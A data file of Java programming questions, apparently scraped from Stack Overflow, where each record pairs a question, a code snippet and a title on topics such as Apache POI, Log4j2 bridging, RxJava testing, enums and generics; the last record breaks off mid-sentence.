0 , 0 , 0 , 0 , 0 , 0 , 15 , 15 ) ; XSSFChart lineChart = drawing.createChart ( anchor ) ; XSSFChartLegend legend = lineChart.getOrCreateLegend ( ) ; legend.setPosition ( LegendPosition.BOTTOM ) ; LineChartData chartData = lineChart.getChartDataFactory ( ) .createLineChartData ( ) ; ChartAxis bottomAxis = lineChart.getChartAxisFactory ( ) .createCategoryAxis ( AxisPosition.BOTTOM ) ; ValueAxis leftAxis = lineChart.getChartAxisFactory ( ) .createValueAxis ( AxisPosition.LEFT ) ; leftAxis.setCrosses ( AxisCrosses.AUTO_ZERO ) ; XSSFSheet dataSheet = data.getSheetAt ( 0 ) ; ChartDataSource < Number > xData = DataSources.fromNumericCellRange ( dataSheet , new CellRangeAddress ( 0 , dataSheet.getLastRowNum ( ) , 0 , 0 ) ) ; ChartDataSource < Number > yData = DataSources.fromNumericCellRange ( dataSheet , new CellRangeAddress ( 0 , dataSheet.getLastRowNum ( ) , 1 , 1 ) ) ; LineChartSeries chartSeries = chartData.addSeries ( xData , yData ) ; chartSeries.setTitle ( `` A title '' ) ; lineChart.plot ( chartData , new ChartAxis [ ] { bottomAxis , leftAxis } ) ; return workbook ; }",Why ca n't I link one workbook to another in Apache POI ? +Java,"We are using Teamcity 9.0.3 and we try to run gradle build with tests . But , it failed with the following exception : I use gradle wrapper and 2.5 version of it and teamcity agents for build.How can I fix this ?",[ 15:25:41 ] [ : test ] Failed to find flowId for [ com.stub.AppTest ] [ 15:25:41 ] [ : test ] java.lang.NullPointerException : Failed to find flowId for [ com.stub.AppTest ] [ 15:25:41 ] [ : test ] at sun.reflect.NativeConstructorAccessorImpl.newInstance0 ( Native Method ) [ 15:25:41 ] [ : test ] at sun.reflect.NativeConstructorAccessorImpl.newInstance ( NativeConstructorAccessorImpl.java:62 ) [ 15:25:41 ] [ : test ] at sun.reflect.DelegatingConstructorAccessorImpl.newInstance ( DelegatingConstructorAccessorImpl.java:45 ) [ 15:25:41 ] [ : test ] at java.lang.reflect.Constructor.newInstance ( Constructor.java:422 ),Gradle test failed to find flowId on teamcity +Java,"I am trying to use JUL Adapter to delegate Java Util Logging to Log4j2 . More precisely , any third-party library that use JUL to generate logs , should be delegated to Log4j2 . As a simple exercise , I created a standalone application that uses a library ( I created this library for testing purposes , it generates logs using JUL ) to test the JUL Adapter . When I change the log manager as described here I can see the effects . And it works fine.Hers 's the code : Dependencies required : However , I can not get this to work on a java web app that uses Jersey . Jersey uses JUL , and I 'm trying to bridge it with Log4j2.Here 's the build.gradle file : I tried these options : Change the log manager in a class that extends Application.Change the log manager in a class that implements ServletContextListener Apart from two options above , I also tried to set the log manager in a static block ( for both options 1. and 2 . ) Unfortunately , none of these options worked for me . I am wondering where should this be done . Is there something that I am missing ?","import org.apache.logging.log4j.LogManager ; import com.ah.loggen.LogGenerator ; public class TestLogging { static { System.setProperty ( `` java.util.logging.manager '' , `` org.apache.logging.log4j.jul.LogManager '' ) ; } private static final org.apache.logging.log4j.Logger LOG4J = LogManager.getLogger ( ) ; public static void main ( String [ ] args ) { System.out.println ( `` Java Util Logging '' ) ; LogGenerator.generateError ( `` This is an error message . `` ) ; LogGenerator.generateInfo ( `` This is an info message . `` ) ; LogGenerator.generateWarning ( `` This is a warning message . `` ) ; System.out.println ( `` LOG4J '' ) ; LOG4J.info ( `` [ LOG4J ] This is an info message . `` ) ; LOG4J.error ( `` [ LOG4J ] This is an error message . `` ) ; LOG4J.warn ( `` [ LOG4J ] This is a warning message . `` ) ; } } dependencies { compile group : 'org.apache.logging.log4j ' , name : 'log4j-api ' , version : ' 2.10.0 ' compile group : 'org.apache.logging.log4j ' , name : 'log4j-core ' , version : ' 2.10.0 ' compile group : 'org.apache.logging.log4j ' , name : 'log4j-jul ' , version : ' 2.10.0 ' compile files ( 'lib/loggen.jar ' ) testCompile 'junit : junit:4.12 ' } apply plugin : 'java'apply plugin : 'war'apply plugin : 'eclipse-wtp'apply from : 'https : //raw.github.com/akhikhl/gretty/master/pluginScripts/gretty.plugin'repositories { mavenCentral ( ) } task wrapper ( type : Wrapper ) { gradleVersion = ' 4.4.1 ' } dependencies { compile `` javax.ws.rs : javax.ws.rs-api:2.1 '' compile `` org.glassfish.jersey.core : jersey-server:2.22.1 '' compile `` org.glassfish.jersey.containers : jersey-container-servlet:2.22.1 '' compile `` org.glassfish.jersey.media : jersey-media-json-jackson:2.22.1 '' providedCompile `` javax.servlet : javax.servlet-api:3.1.0 '' compile group : 'org.apache.logging.log4j ' , name : 'log4j-api ' , version : ' 2.8 ' compile group : 'org.apache.logging.log4j ' , name : 'log4j-core ' , version : ' 2.8 ' compile group : 'org.apache.logging.log4j ' , name : 'log4j-web ' , version : ' 2.8 ' compile group : 'org.apache.logging.log4j ' , name : 'log4j-jul ' , version : ' 2.8 ' } gretty { servletContainer = 'tomcat8 ' httpPort = 8081 } package com.ahoxha.test ; import java.util.HashSet ; import java.util.Set ; import javax.annotation.PostConstruct ; import javax.ws.rs.ApplicationPath ; import javax.ws.rs.core.Application ; import com.ahoxha.filters.JerseyLoggingFilter ; @ ApplicationPath ( `` '' ) public class HelloApplication extends Application { @ Override public final Set < Class < ? > > getClasses ( ) { final Set < Class < ? > > classes = new HashSet < > ( ) ; classes.add ( Hello.class ) ; classes.add ( MessageResource.class ) ; classes.add ( JerseyLoggingFilter.class ) ; return classes ; } @ PostConstruct public void init ( ) { String cn = `` org.apache.logging.log4j.jul.LogManager '' ; System.setProperty ( `` java.util.logging.manager '' , cn ) ; } } package com.ahoxha.context ; import javax.servlet.ServletContextEvent ; import javax.servlet.ServletContextListener ; import javax.servlet.annotation.WebListener ; @ WebListenerpublic class ContextInitializer implements ServletContextListener { @ Override public void contextInitialized ( ServletContextEvent sce ) { System.out.println ( `` Initializing context . `` ) ; System.setProperty ( `` java.util.logging.manager '' , `` org.apache.logging.log4j.jul.LogManager '' ) ; } @ Override public void contextDestroyed ( ServletContextEvent sce ) { System.out.println ( `` Context destroyed . `` ) ; } }",JUL Adapter not working for Jersey +Java,"I am trying to solve the following linear problem by using the Simplex solver from apache-commons : org.apache.commons.math3.optim.linear.SimplexSolver.n is the number of rowsm is the number of columnsL is a global limit for the sum value of each rowThis is what I have so far : I have trouble getting the objective function right , and also it might be some other things missing . My every attempt so far resulted in UnboundedSolutionException .","List < LinearConstraint > constraints = new ArrayList < > ( ) ; double [ ] [ ] A = calculateAValues ( ) ; // m = count of columns// constraint 1 : the sum of values in all column must be < = 1for ( int i = 0 ; i < m ; i++ ) { double [ ] v = new double [ n ] ; for ( int j=0 ; j < n ; j++ ) { v [ j ] = 1 ; } constraints.add ( new LinearConstraint ( v , Relationship.LEQ , 1 ) ) ; } // n = count of rows// constraint 2 : sum of a_i , j in all row must be < = L ( Limit ) for ( int i = 0 ; i < n ; i++ ) { double [ ] v = new double [ m ] ; for ( int j=0 ; j < m ; j++ ) { v [ j ] = A [ i ] [ j ] ; } constraints.add ( new LinearConstraint ( v , Relationship.LEQ , L ) ) ; } double [ ] objectiveCoefficients = new double [ n * m ] ; for ( int i = 0 ; i < n * m ; ++i ) { objectiveCoefficients [ i ] = 1 ; } LinearObjectiveFunction objective = new LinearObjectiveFunction ( objectiveCoefficients , 0 ) ; LinearConstraintSet constraintSet = new LinearConstraintSet ( constraints ) ; SimplexSolver solver = new SimplexSolver ( ) ; PointValuePair solution = solver.optimize ( objective , constraintSet , GoalType.MAXIMIZE ) ; return solution.getValue ( ) ;",Apache common SimplexSolver ObjectiveFunction for maximizing the sum of values in a matrix +Java,Could anyone please explain why this code : fails to compile if I uncomment onFailure statement ? No idea what happens here . How to improve it ?,"interface Lol { default Try < Seq < ? extends Number > > lol ( ) { return Try.of ( List : :empty ) ; } } class LolImpl implements Lol { @ Override public Try < Seq < ? extends Number > > lol ( ) { return Try .of ( ( ) - > List.of ( 1 , 2 , 3 ) ) //.onFailure ( Object : :hashCode ) ; } }",Vavr with generics gives incompatible types +Java,I want to understand how the Java double type will store its value in memory in Java.When I run the following code I get unexpected output : } Output : Why is c1-d1 not equal to 0.9 ? I also tried other different values but some time it return expected result and some time not .,public static void main ( String [ ] args ) { float a = 1.5f ; float b= 0.5f ; double c= 1.5 ; double d = 0.5 ; float a1 = 1.4f ; float b1= 0.5f ; double c1= 1.4 ; double d1 = 0.5 ; System.out.println ( `` a- b is `` + ( a-b ) ) ; System.out.println ( `` c- d is `` + ( c-d ) ) ; System.out.println ( `` a1-b1 is `` + ( a1-b1 ) ) ; System.out.println ( `` c1-d1 is `` + ( c1-d1 ) ) ; a- b is 1.0 c- d is 1.0a1-b1 is 0.9c1-d1 is 0.8999999999999999,Unexpected behavior of double primitive type data +Java,"I would like to have a limited fixed catalogue of instances of a certain complex interface . The standard multiton pattern has some nice features such as lazy instantiation . However it relies on a key such as a String which seems quite error prone and fragile.I 'd like a pattern that uses enum . They have lots of great features and are robust . I 've tried to find a standard design pattern for this but have drawn a blank . So I 've come up with my own but I 'm not terribly happy with it.The pattern I 'm using is as follows ( the interface is highly simplified here to make it readable ) : This pattern has some very nice features to it : the enum implements the interface which makes its usage pretty natural : ComplexItem.ITEM1.method ( ) ; Lazy instantiation : if the construction is costly ( my use case involves reading files ) , it only occurs if it 's required.Having said that it seems horribly complex and 'hacky ' for such a simple requirement and overrides enum methods in a way which I 'm not sure the language designers intended.It also has another significant disadvantage . In my use case I 'd like the interface to extend Comparable . Unfortunately this then clashes with the enum implementation of Comparable and makes the code uncompilable.One alternative I considered was having a standard enum and then a separate class that maps the enum to an implementation of the interface ( using the standard multiton pattern ) . That works but the enum no longer implements the interface which seems to me to not be a natural reflection of the intention . It also separates the implementation of the interface from the enum items which seems to be poor encapsulation.Another alternative is to have the enum constructor implement the interface ( i.e . in the pattern above remove the need for the 'makeInstance ' method ) . While this works it removes the advantage of only running the constructors if required ) . It also does n't resolve the issue with extending Comparable.So my question is : can anyone think of a more elegant way to do this ? In response to comments I 'll tried to specify the specific problem I 'm trying to solve first generically and then through an example.There are a fixed set of objects that implement a given interfaceThe objects are stateless : they are used to encapsulate behaviour onlyOnly a subset of the objects will be used each time the code is executed ( depending on user input ) Creating these objects is expensive : it should only be done once and only if requiredThe objects share a lot behaviourThis could be implemented with separate singleton classes for each object using separate classes or superclasses for shared behaviour . This seems unnecessarily complex.Now an example . A system calculates several different taxes in a set of regions each of which has their own algorithm for calculting the taxes . The set of regions is expected to never change but the regional algorithms will change regularly . The specific regional rates must be loaded at run time via remote service which is slow and expensive . Each time the system is invoked it will be given a different set of regions to calculate so it should only load the rates of the regions requested.So : Recommended background reading : Mixing-in an Enum","interface Complex { void method ( ) ; } enum ComplexItem implements Complex { ITEM1 { protected Complex makeInstance ( ) { return new Complex ( ) { ... } } , ITEM2 { protected Complex makeInstance ( ) { return new Complex ( ) { ... } } ; private Complex instance = null ; private Complex getInstance ( ) { if ( instance == null ) { instance = makeInstance ( ) ; } return instance ; } protected void makeInstance ( ) { } void method { getInstance ( ) .method ( ) ; } } interface TaxCalculation { float calculateSalesTax ( SaleData data ) ; float calculateLandTax ( LandData data ) ; ... . } enum TaxRegion implements TaxCalculation { NORTH , NORTH_EAST , SOUTH , EAST , WEST , CENTRAL ... . ; private loadRegionalDataFromRemoteServer ( ) { ... . } }",Using enum to implement multitons in Java +Java,"I 'm working on a JSONObject with multiple sub-JSONObjects.Here is the way I fill the content : A friend told me that it is a very bad practice to use `` nested function/method calls '' and that I should do it this way : From my view , my way is more like an chained method call than a nested one . And I do n't like the second way because it force the program to get the same object again and again when the put ( ) method already returns it.Is my case is a `` nested function calls '' case ? Is this dangerous or bad for any reason ? And what are those reasons ? edit : I do n't feel like my question is duplicated . The other question involves chained methods but it mainly talks about c # interfaces .","myJson.getJSONObject ( CAT_NAME ) .put ( VAR_NAME , var ) .put ( VAR_NAME2 , var2 ) .put ( ... ) ; myJson.getJSONObject ( CAT_NAME ) .put ( VAR_NAME , var ) ; myJson.getJSONObject ( CAT_NAME ) .put ( VAR_NAME2 , var2 ) ; myJson.getJSONObject ( CAT_NAME ) .put ( ... ) ;",Java chained/nested method calls +Java,"For some reason , attempting to cast a class , X , to a another class , Y , in a third class Z throws a ClassCastException . This seems wrong to me , seeing as the class X extends the other class Y . Is there any specific reason why class X could not be cast to Y even though X extends it ? See the following code for reference : Y : X : Z : ( This code is the code where the ClassCastException originates . ) If loader.loadClass ( description.getMain ( ) ) .newInstance ( ) ; is known to create a new instance of X , then why would casting to Y cause a ClassCastException ?",public abstract class Y { /** * Called when the extension is enabled . */ public void onEnable ( ) { } } public class X extends Y { @ Override public void onEnable ( ) { // Extension specific code . } } public class Z { private boolean loadExtension ( ExtensionDescription description ) { try { URLClassLoader loader = new ExtensionClassLoader ( new URL [ ] { description.getFile ( ) .toURI ( ) .toURL ( ) } ) ; Y y = ( Y ) loader.loadClass ( description.getMain ( ) ) .newInstance ( ) ; } catch ( Throwable t ) { } } },Can not cast a class `` X '' to a class `` Y '' even though X extends Y ? +Java,"In Java programming language widen and boxing does n't work , but how does it work in following example ? Why does this work ? Is this not the same as widen and then box ? But if I write the following code : why it does n't work ?",final short myshort = 10 ; Integer iRef5 = myshort ; final int myint = 10 ; Long myLONG = myint ;,Widening and boxing with Java +Java,"I do know how to create my own ExecutionContext or to import the play framework global one . But I must admit I am far from being an expert on how multiple context/executionServices would work in the back.So my question is , for better performance/behaviour of my service which ExecutionContext should I use ? I tested two options : andWith both resulting in comparable performances.The action I use is implemented like this in playframework 2.1.x . SedisPool is my own object with extra Future wrapping of a normal sedis/jedis client pool.This performance-wize behave as good or slightly slower than the exact same function in Node.js , and Go . But still slower than Pypy . But way faster than the same thing in Java ( using blocking call to redis using jedis in this case ) . We load tested with gatling . We were doing a `` competition '' of techs for simple services on top of redis and the criteria was `` with the same amount of efforts from coders '' .I already tested this using fyrie ( and apart from the fact that I do not like the API ) it behaved almost the same as this Sedis implementation.But that 's beside my question . I just want to learn more about this part of playframework/scala.Is there an advised behaviour ? Or could someone point me in a better direction ? I am starting using scala now , I am far from an expert but I can walk myself through code answers.Thanks for any help.UPDATE - More questions ! After tampering with the number of threads in the pool I found out that : Runtime.getRuntime ( ) .availableProcessors ( ) * 20Gives around 15 % to 20 % performance boost to my service ( measured in request per seconds , and by average response time ) , which actually makes it slightly better than node.js and go ( barely though ) . So I now have more questions : - I tested 15x and 25x and 20 seems to be a sweet spot . Why ? Any ideas ? - Would there be other settings that might be better ? Other `` sweet spots '' ? - Is 20x the sweet spot or is this dependent on other parameters of the machine/jvm I am running on ? UPDATE - More docs on the subjectFound more information on the play framework docs.http : //www.playframework.com/documentation/2.1.0/ThreadPoolsFor IO they do advise something to what I 've done but gives a way to do it through Akka.dispatchers that are configurable through *.conf files ( this should make my ops happy ) .So now I am using with the dispatcher configured byIt gave me around 5 % boost ( eyeballing it now ) , and more stability of the performance once the JVM was `` hot '' . And my sysops are happy to play with those settings without rebuilding the service.My questions are still there though . Why this numbers ?","import play.api.libs.concurrent.Execution.defaultContext implicit val executionContext = ExecutionContext.fromExecutorService ( Executors.newFixedThreadPool ( Runtime.getRuntime ( ) .availableProcessors ( ) ) ) def testaction ( application : String , platform : String ) = Action { Async ( SedisPool.withAsyncClient [ Result ] { client = > client.get ( StringBuilder.newBuilder.append ( application ) .append ( '- ' ) .append ( platform ) .toString ) match { case Some ( x ) = > Ok ( x ) case None = > Results.NoContent } } ) } implicit val redis_lookup_context : ExecutionContext = Akka.system.dispatchers.lookup ( `` simple-redis-lookup '' ) akka { event-handlers = [ `` akka.event.slf4j.Slf4jEventHandler '' ] loglevel = WARNING actor { simple-redis-lookup = { fork-join-executor { parallelism-factor = 20.0 # parallelism-min = 40 # parallelism-max = 400 } } } }",Why the 20x ratio Thread sweet spot for IO ? [ formerly : Which ExecutionContext to use in playframework ? ] +Java,"I 'm trying to test a function where elements of a stream are dispatched one by one after a delay , I was able to get my tests working using Thread.sleep . However , when I use the TestScheduler.advanceTimeBy I ca n't get any result.Check out the code : And the test code : Update : Checking around for TestScheduler usage I found out that is usual to pass the scheduler to the delay function . So I was able to get the tests to pass by providing the scheduler as an argument to the method getDelayedObjects and then to delay . However , I still did not get why it was not working before .","public Observable < Object > getDelayedObjects ( Observable < Observable < Object > > objectsStreams ) { objectsStreams.concatMap ( objectsStream - > objectsStream.repeat ( ) .concatMap ( object - > Observable.just ( object ) .delay ( getDuration ( object ) , TimeUnit.MILLISECONDS ) ) ) ; } TestScheduler testScheduler = new TestScheduler ( ) ; BehaviorSubject < Observable < Object > > objectStreamSubject = BehaviorSubject.create ( objectsStream ) ; model.getDelayedObjects ( objectStreamSubject ) .observeOn ( testScheduler ) .subscribeOn ( testScheduler ) .subscribe ( testSubscriber ) ; testScheduler.triggerActions ( ) ; //Thread.sleep ( 900 ) works with the default schedulertestScheduler.advanceTimeBy ( 900 , TimeUnit.MILLISECONDS ) ; testSubscriber.assertReceivedOnNext ( objects ) ;",TestScheduler not working on RxJava +Java,"I 've been trying to solve this problem on ACM Timushttp : //acm.timus.ru/problem.aspx ? space=1 & num=1932My first approach is O ( n^2 ) which surely is n't fast enough to pass all tests . The below O ( n^2 ) code gives TL on test 10.any idea to make this approach faster ? I 've noticed that only a limited set of characters are allowed in input ( ' 0 ' .. ' 9 ' , ' a ' .. ' f ' ) so we can create arrays ( memory limitation is enough ) to do fast checks if characters have been entered before.Thanks ... I do n't need actual implementation , just quick idea/thoughts would be great.EDIT : Thanks for great ideas . I 've tried improvements on O ( n^2 ) using bit-logics , but still time limit exceeded . The pascal code is below.So I guess , I 've to try other better suggestions..EDIT : I have tried Daniel 's algorithm and it is very promising , maybe there is a mistake in the code below , It keeps getting Wrong Answer on Test 10 ... could anybody take a look ? Many thanks ... EDITFinally got AC ... thanks Daniel for such great algorithm !","import java.util . * ; import java.io . * ; public class testtest { public static void main ( String [ ] args ) throws IOException { BufferedReader rr = new BufferedReader ( new InputStreamReader ( System.in ) ) ; int n = Integer.parseInt ( rr.readLine ( ) ) ; String [ ] p = new String [ n ] ; for ( int i = 0 ; i < n ; i ++ ) { p [ i ] = rr.readLine ( ) ; } int [ ] diff = new int [ ] { 0 , 0 , 0 , 0 } ; for ( int i = 0 ; i < n - 1 ; i ++ ) { for ( int j = i + 1 ; j < n ; j ++ ) { int ans = ( p [ i ] .charAt ( 0 ) == p [ j ] .charAt ( 0 ) ? 0 : 1 ) + ( p [ i ] .charAt ( 1 ) == p [ j ] .charAt ( 1 ) ? 0 : 1 ) + ( p [ i ] .charAt ( 2 ) == p [ j ] .charAt ( 2 ) ? 0 : 1 ) + ( p [ i ] .charAt ( 3 ) == p [ j ] .charAt ( 3 ) ? 0 : 1 ) ; diff [ ans - 1 ] ++ ; } } System.out.print ( diff [ 0 ] + `` `` + diff [ 1 ] + `` `` + diff [ 2 ] + `` `` + diff [ 3 ] ) ; } } program Project2 ; { $ APPTYPE CONSOLE } var i , j , n , k , bits : integer ; arr : array [ 1..65536 ] of integer ; diff : array [ 1..4 ] of integer ; a , b , c , d : char ; function g ( c : char ) : integer ; inline ; begin if ( ( c > = ' 0 ' ) and ( c < = ' 9 ' ) ) then begin Result : = Ord ( c ) - 48 ; end else begin Result : = Ord ( c ) - 87 ; end ; end ; begin Readln ( n ) ; for i : = 1 to n do begin Read ( a ) ; Read ( b ) ; Read ( c ) ; Readln ( d ) ; arr [ i ] : = g ( a ) * 16 * 16 * 16 + g ( b ) * 16 * 16 + g ( c ) * 16 + g ( d ) ; for j : = 1 to i - 1 do begin bits : = arr [ i ] xor arr [ j ] ; k : = ( ( bits or ( bits shr 1 ) or ( bits shr 2 ) or ( bits shr 3 ) ) and $ 1111 ) mod 15 ; Inc ( diff [ k ] ) ; end ; end ; Write ( diff [ 1 ] , ' ' , diff [ 2 ] , ' ' , diff [ 3 ] , ' ' , diff [ 4 ] ) ; { $ IFNDEF ONLINE_JUDGE } Readln ; { $ ENDIF } end . import java.util . * ; import java.io . * ; public class testtest { private static int g ( char ch ) { if ( ( ch > = ' 0 ' ) & & ( ch < = ' 9 ' ) ) { return ( int ) ch - 48 ; } return ( int ) ch - 87 ; } public static void main ( String [ ] args ) throws IOException { BufferedReader rr = new BufferedReader ( new InputStreamReader ( System.in ) ) ; int n = Integer.parseInt ( rr.readLine ( ) ) ; int [ ] p = new int [ n ] ; int [ ] all = new int [ 65536 ] ; int [ ] [ ] miss = new int [ 4 ] [ 4096 ] ; int [ ] g12 = new int [ 256 ] ; int [ ] g13 = new int [ 256 ] ; int [ ] g14 = new int [ 256 ] ; int [ ] g23 = new int [ 256 ] ; int [ ] g24 = new int [ 256 ] ; int [ ] g34 = new int [ 256 ] ; int [ ] [ ] gg = new int [ 4 ] [ 16 ] ; int same3 , same2 , same1 , same0 , same4 ; for ( int i = 0 ; i < n ; i ++ ) { String s = rr.readLine ( ) ; int x = g ( s.charAt ( 0 ) ) * 4096 + g ( s.charAt ( 1 ) ) * 256 + g ( s.charAt ( 2 ) ) * 16 + g ( s.charAt ( 3 ) ) ; p [ i ] = x ; all [ x ] ++ ; miss [ 0 ] [ x > > 4 ] ++ ; miss [ 1 ] [ ( x & 0x000F ) | ( ( x & 0xFF00 ) > > 4 ) ] ++ ; miss [ 2 ] [ ( x & 0x00FF ) | ( ( x & 0xF000 ) > > 4 ) ] ++ ; miss [ 3 ] [ x & 0x0FFF ] ++ ; g12 [ x > > 8 ] ++ ; g13 [ ( ( x & 0x00F0 ) > > 4 ) | ( ( x & 0xF000 ) > > 8 ) ] ++ ; g14 [ ( x & 0x000F ) | ( ( x & 0xF000 ) > > 8 ) ] ++ ; g23 [ ( x & 0x0FF0 ) > > 4 ] ++ ; g24 [ ( x & 0x000F ) | ( ( x & 0x0F00 ) > > 4 ) ] ++ ; g34 [ x & 0x00FF ] ++ ; gg [ 0 ] [ x > > 12 ] ++ ; gg [ 1 ] [ ( x & 0xF00 ) > > 8 ] ++ ; gg [ 2 ] [ ( x & 0xF0 ) > > 4 ] ++ ; gg [ 3 ] [ x & 0xF ] ++ ; } same4 = 0 ; for ( int i = 0 ; i < 65536 ; i ++ ) { same4 += ( all [ i ] - 1 ) * ( all [ i ] ) / 2 ; } same3 = 0 ; for ( int i = 0 ; i < 4096 ; i ++ ) { same3 += ( miss [ 0 ] [ i ] - 1 ) * ( miss [ 0 ] [ i ] ) / 2 ; same3 += ( miss [ 1 ] [ i ] - 1 ) * ( miss [ 1 ] [ i ] ) / 2 ; same3 += ( miss [ 2 ] [ i ] - 1 ) * ( miss [ 2 ] [ i ] ) / 2 ; same3 += ( miss [ 3 ] [ i ] - 1 ) * ( miss [ 3 ] [ i ] ) / 2 ; } same2 = 0 ; for ( int i = 0 ; i < 256 ; i ++ ) { same2 += ( g12 [ i ] - 1 ) * g12 [ i ] / 2 ; same2 += ( g13 [ i ] - 1 ) * g13 [ i ] / 2 ; same2 += ( g14 [ i ] - 1 ) * g14 [ i ] / 2 ; same2 += ( g23 [ i ] - 1 ) * g23 [ i ] / 2 ; same2 += ( g24 [ i ] - 1 ) * g24 [ i ] / 2 ; same2 += ( g34 [ i ] - 1 ) * g34 [ i ] / 2 ; } same1 = 0 ; for ( int i = 0 ; i < 16 ; i ++ ) { same1 += ( gg [ 0 ] [ i ] - 1 ) * gg [ 0 ] [ i ] / 2 ; same1 += ( gg [ 1 ] [ i ] - 1 ) * gg [ 1 ] [ i ] / 2 ; same1 += ( gg [ 2 ] [ i ] - 1 ) * gg [ 2 ] [ i ] / 2 ; same1 += ( gg [ 3 ] [ i ] - 1 ) * gg [ 3 ] [ i ] / 2 ; } same3 -= 4 * same4 ; same2 -= 6 * same4 + 3 * same3 ; same1 -= 4 * same4 + 3 * same3 + 2 * same2 ; same0 = ( int ) ( ( long ) ( n * ( n - 1 ) / 2 ) - same4 - same3 - same2 - same1 ) ; System.out.print ( same3 + `` `` + same2 + `` `` + same1 + `` `` + same0 ) ; } }",O ( n^2 ) is n't fast enough in solving this . any faster approaches ? +Java,"I am writing a media player in which I am using Image buttons and Images are from system resource . Now in java file , how should it be addressed ? here is the code :",case R.id.ib2 : if ( isPlaying ) { pause ( ) ; //the red line is under R.drawable.ic_media_pause playPause.setImageResource ( R.drawable.ic_media_pause ) ;,How to address an image which is in system resource in android +Java,"ElasticSearch Java TransportClient 5.5.1 seems to be leaking byte arrays . Even if i just connect and close , commenting the code in between , it leaks.The code : Plugin loading log ( may indicate something ) : VisualVM Heap dump showing byte [ ] allocated size on the heap ( after forcing a garbage collection ) : Seems to be the same problem as posted here : https : //discuss.elastic.co/t/are-there-memory-leaks-in-elasticsearchs-transportclient-5-4-3-or-is-my-code-flawed/91989/5Not sure if relevant , but I am using Spring boot on the same project.Any ideas ? EDIT : Seems to be related to Compression : EDIT2 : The memory consumption increases greatly on TransportClientNodesService.addTransportAddresses","try ( PreBuiltTransportClient preBuiltTransportClient = new PreBuiltTransportClient ( settings ) ) { try ( TransportClient transportClient=preBuiltTransportClient.addTransportAddress ( new InetSocketTransportAddress ( InetAddress.getByName ( endPoint ) , javaPort ) ) ) { //do something } }",ElasticSearch Java TransportClient leaking byte [ ] +Java,"First Code : It will give the following exception : java.lang.ClassCastException : class [ Ljava.lang.Object ; can not be cast to class [ Ljava.util.List ; ( [ Ljava.lang.Object ; and [ Ljava.util.List ; are in module java.base of loader 'bootstrap ' ) Why is this wrong ? I just follow the Effective Java Third Edition Page 132 's method : Second Code : However I found the following code worksThird Code : My questions : Why first code is wrong but second code is suggested in Effective Java ? Is there something I misunderstand ? For example : why the following code works well , but first code is wrong ? Can anyone explain why third code is correct but the following code is wrong ? Fourth Code : List < Integer > [ ] array = new List < Integer > [ size ] ;",List < Integer > [ ] array = ( List < Integer > [ ] ) new Object [ size ] ; E [ ] array = ( E [ ] ) new Object [ size ] ; List < Integer > [ ] array = ( List < Integer > [ ] ) new List [ size ] ; public class Test < E > { E [ ] array ; public Test ( ) { array = ( E [ ] ) new Object [ 10 ] ; } public E set ( E x ) { array [ 0 ] = x ; System.out.println ( array [ 0 ] ) ; return array [ 0 ] ; } public static void main ( String [ ] args ) { Test < List < Integer > > test = new Test < > ( ) ; List < Integer > list = new ArrayList < > ( ) ; list.add ( 1 ) ; test.set ( list ) ; } },Error about creating array of Generic List in Java +Java,"I have several enums which comply to a common interface : A typical implementation is : I have several implementaions like this ( 10+ ) , each having multiple and almost different values . Now , the problem is that I see a lot of code duplication here , as the methods in all of the implementation are identical word by word . I know that in Java this is virtually impossible as enums ca n't extend an implementation.What I need here is a suggestion or a different strategy where this can be done in a cleaner way . Is there already some existing pattern regarding this ?","interface TableColumns { String getColumnName ( ) ; int getColumnIndex ( ) ; ColumnType getColumnType ( ) ; boolean isEditable ( ) ; int getColumnWidth ( ) ; } enum PointsTableColumns implements TrendTableColumns { POINTS_COLUMN ( `` points_column '' , false , ColumnType.TEXT , 400 , 0 ) ; private String columnName ; private boolean editable ; private ColumnType columnType ; private int columnWidth ; private int columnIndex ; private PointsTableColumns ( String columnName , boolean editable , ColumnType columnType , int columnWidth , int columnIndex ) { this.columnName = columnName ; this.editable = editable ; this.columnType = columnType ; this.columnWidth = columnWidth ; this.columnIndex = columnIndex ; } public boolean isEditable ( ) { return editable ; } public int getColumnIndex ( ) { return columnIndex ; } public String getColumnName ( ) { return columnName ; } public int getColumnWidth ( ) { return columnWidth ; } public ColumnType getcolumnType ( ) { return columnType ; } }",Code duplication in enums inheriting a common interface +Java,"To my understanding following code should print `` true '' , but when I run it it prints `` false '' .According to JLS §5.1.7 . Boxing Conversion : If the value p being boxed is true , false , a byte , or a char in the range \u0000 to \u007f , or an int or short number between -128 and 127 ( inclusive ) , then let r1 and r2 be the results of any two boxing conversions of p. It is always the case that r1 == r2 . However in case of method called via reflection boxed value is always created via new PrimitiveWrapper ( ) . Please help me understand this .",public class Test { public static boolean testTrue ( ) { return true ; } public static void main ( String [ ] args ) throws Exception { Object trueResult = Test.class.getMethod ( `` testTrue '' ) .invoke ( null ) ; System.out.println ( trueResult == Boolean.TRUE ) ; } },Why does autoboxing not use valueOf ( ) when invoking via reflection ? +Java,"Lets look at the following example : What if I want BothPaintAndPrintable instances to be added to each of the ArrayLists ? One way would be overloading the method with a BothPaintAndPrintable parameter , but I 'm trying to see alternatives since doing that might reduce code reuseability . Does anyone have another idea ?","public class BothPaintAndPrintable implements Paintable , Printable { public void print ( ) { } public void paint ( ) { } } public interface Paintable { public void paint ( ) ; } public interface Printable { public void print ( ) ; } public class ITest { ArrayList < Printable > printables = new ArrayList < Printable > ( ) ; ArrayList < Paintable > paintables = new ArrayList < Paintable > ( ) ; public void add ( Paintable p ) { paintables.add ( p ) ; } public void add ( Printable p ) { printables.add ( p ) ; } public static void main ( String [ ] args ) { BothPaintAndPrintable a= new BothPaintAndPrintable ( ) ; ITest t=new ITest ( ) ; t.add ( a ) ; //compiliation error here } }",Interfaces - solving ambiguous error +Java,"This addresses `` a specific programming problem '' from On-TopicI am working on an interview question from Amazon Software InterviewThe question is `` Given a triangle of integers , find the path of the largest sum without skipping . `` My question is how would you represent a triangle of integers ? I looked this up on Triangle of Integers and saw that a triangle of integers looked something like What is the best way ( data structure ) to represent something like this ? My idea was having something like Is this the best way to represent this triangle integer structure ? I thought about using a 2 dimensional matrix structure but those have to have arrays of the same size .","12 34 5 67 8 9 1011 12 13 14 15 int [ ] r1 = { 1 } ; int [ ] r2 = { 2 , 3 } ; int [ ] r3 = { 4 , 5 , 6 } ; int [ ] r4 = { 7 , 8 , 9 , 10 } ; int [ ] r5 = { 11 , 12 , 13 , 14 , 15 } ;",How to represent a triangle of integers ? +Java,"Java specification guarantees primitive variable assignments are always atomic ( expect for long and double types.On the contrary , Fetch-and-Add operation corresponding to the famous i++ increment operation , would be non-atomic because leading to a read-modify-write operation.Assuming this code : The 